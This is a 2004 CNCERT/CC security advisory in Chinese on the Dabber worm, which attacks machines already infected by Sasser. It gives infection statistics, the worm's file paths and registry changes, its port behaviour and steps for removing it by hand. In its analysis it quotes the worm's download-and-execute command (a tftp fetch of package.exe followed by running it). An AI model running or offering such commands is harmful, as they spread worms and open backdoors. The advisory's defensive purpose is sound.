安全公告CN-SA04-22G：对CN-SA04-22A、B、C、D、E、F的补充信息。 发布日期：2004-5-27 安全等级： /upload/p1_144G34.jpg 公开程度：公共 　　CNCERT/CC于5月12日预测，可能会出现利用“震荡波”蠕虫程序漏洞的新蠕虫，CNCERT/CC将其命名为“震荡波利用者”，国际普遍命名为Worm.Dabber.A，并发出预警（详见 安全公告CN-SA04-22A）。CNCERT/CC持续对“震荡波利用者”蠕虫进行监测，今日数据见下表和趋势图。 　　CNCERT/CC将继续密切关注该蠕虫的发展，及时发布有关信息。 　　　　 /upload/p1_fI67An.jpg 　　　　 /upload/p1_34qol1.jpg 说明： 　　1.该数据统计基于CNCERT/CC的抽样检测结果； 　　2.当日数据一律为自0点开始24小时的统计数据； 　　3.当日感染主机数反映了CNCERT/CC所检测到的当日国内受感染主机的实际数量； 　　4.当日新增感染主机数和累计感染主机数对同一主机多日维持感染状态的情况仅按一台数计算。 　　有关“震荡波利用者”的情况和防范措施请参考下面的内容。 分析： 当Dabber运行时，它会有如下行为： 1.建立”sas4dab”斥体，并且保证只有一个Dabber运行。 　　尝试在下面每个路径中放置一个蠕虫副本。 　　%System%package.exe 　　C:Documents and SettingsAll UsersStart MenuProgramsStartuppackage.exe 　　%Windir%All UsersMain menuProgramsStartUppackage.exe 　　注意：%System%是个变量，默认应为下列路径C:WindowsSystem (Windows 95/98/Me)、 　　C:WinntSystem32 (Windows NT/2000)或C:WindowsSystem32 (Windows XP)。 2.加入键值 　　"sassfix"="%System%package.exe" 　　到注册表中 　　HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun 3.该蠕虫企图删除一系列注册表中的键值： 　　从注册表 　　HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun 　　删除下列键值 　　Video 　　Microsoft Update 　　从注册表： 　　HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun 　　HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun 　　删除下列键值 　　Drvddll.exe 　　Drvddll_exe 　　drvsys 　　drvsys.exe 　　ssgrate 　　ssgrate.exe 　　lsasss 　　lsasss.exe 　　avserve2.exe 　　avvserrve32 　　avserve 　　Taskmon 　　Gremlin 　　从注册表 　　HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun 　　HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices 　　HKEY_CURRENT_USER.DEFAULTSOFTWAREMicrosoftWindowsCurrentVersionRun 　　删除下列键值 　　Video Process 　　TempCom 　　SkynetRevenge 　　MapiDrv 　　BagleAV 　　System Updater Service 　　soundcontrl 　　WinMsrv32 　　drvddll.exe 　　navapsrc.exe 　　skynetave.exe 　　eneric Host Service 　　Windows Drive Compatibility 　　windows 　　从注册表 　　HKEY_CLASSES_ROOTCLSID{E6FB5E20-DE35-11CF-9C87-00AA005127ED} 　　InProcServer32 　　删除下列键值 　　(Default) 4.该蠕虫随机扫描一组IP主机的5554端口，来寻找已感染Sasser蠕虫的系统。当一个被感染的系统被找到后，该蠕虫就会利用Sasser蠕虫FTP服务的漏洞。此蠕虫绑定一个命令Shell在端口8967上，然后让被感染的主机通过FTP利用该端口来下载蠕虫体并执行。它采用下列命令。 tftp -i GET hello.all package.exe & package.exe & exit 5.该蠕虫在被感染主机的9898端口上打开一个后门程序，这样就在被感染系统上给予攻击者一个系统级的远程shell。它将允许攻击者访问关于被感染主机的其他信息。 受影响的平台： 　　感染过Worm.Sasser-A、B、C、D、E、F变种蠕虫且没有彻底清除的系统。 解决方案： 手动清除 （1）打开注册表编辑器，删除如下键值<如果存在的话>： HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun Sassfix=%SYSTEM%package.exe （2）打开任务管理器查看是否存在进程名为：package.exe（文件为%SYSTEM%package.exe）的进程，如果存在，请关闭； （3）将%SYSTEM%system，C:Documents and SettingsAll UsersMain menuProgramsStartUp目录及C:Documents and SettingsAll UsersStart MenuProgramsStarup目录下的文件：package.exe删除。 　　注：%SYSTEM%是Windows系统的核心动态库所在目录，在Windows 9X/ME下默认为:C:WINDOWSSYSTEM，Windows 2000/XP下默认为:C:WINNTSYSTEM32。 　　由于“震荡波利用者”蠕虫仅对已感染“震荡波”蠕虫的系统产生影响，因此，有关震荡波蠕虫的解决方案请参考CNCERT/CC编辑整理的《计算机用户如何对付“震荡波”蠕虫》的文章。网址是。网址是： http://www.cert.org.cn/articles/alert/common/2004050821640.shtml 参考信息： http://www.cert.org.cn/articles/bulletin/common/2004041421585.shtml http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx 相关公告： 　　安全公告CN-SA04-22A　　 　　安全公告CN-SA04-22B 　　安全公告CN-SA04-22C 　　安全公告CN-SA04-22D 　　安全公告CN-SA04-22E 　　安全公告CN-SA04-22F 其他信息： 　　CVE编号： 　　首次发布日期：2004-5-12 　　修订次数：6 安全公告文档编写： 　　CNCERT/CC ----------------------------------------------------------------------------------- 　　CNCERT/CC在发布安全公告信息之前，都力争保证每条公告的准确性和可靠性。然而，采纳和实施公告中的建议则完全由用户自己决定，其可能引起的问题和结果也完全由用户承担。是否采纳我们的建议取决于您个人或您企业的决策，您应考虑其内容是否符合您个人或您企业的安全策略和流程。 　　在任何情况下，如果您确信您的计算机系统受到危害或是攻击，我们鼓励您及时告知国家计算机网络应急技术处理协调中心： http://www.cert.org.cn/servlet/Incident 　　同时，我们也鼓励所有计算机与网络安全研究机构，包括厂商和科研院所，向我们报告贵单位所发现的漏洞信息。我们将对所有漏洞信息进行验证并在CNCERT/CC网站公布漏洞信息及指导受影响用户采取措施以避免损失。 　　如果您发现本公告存在任何问题，请与我们联系： cncert@cert.org.cn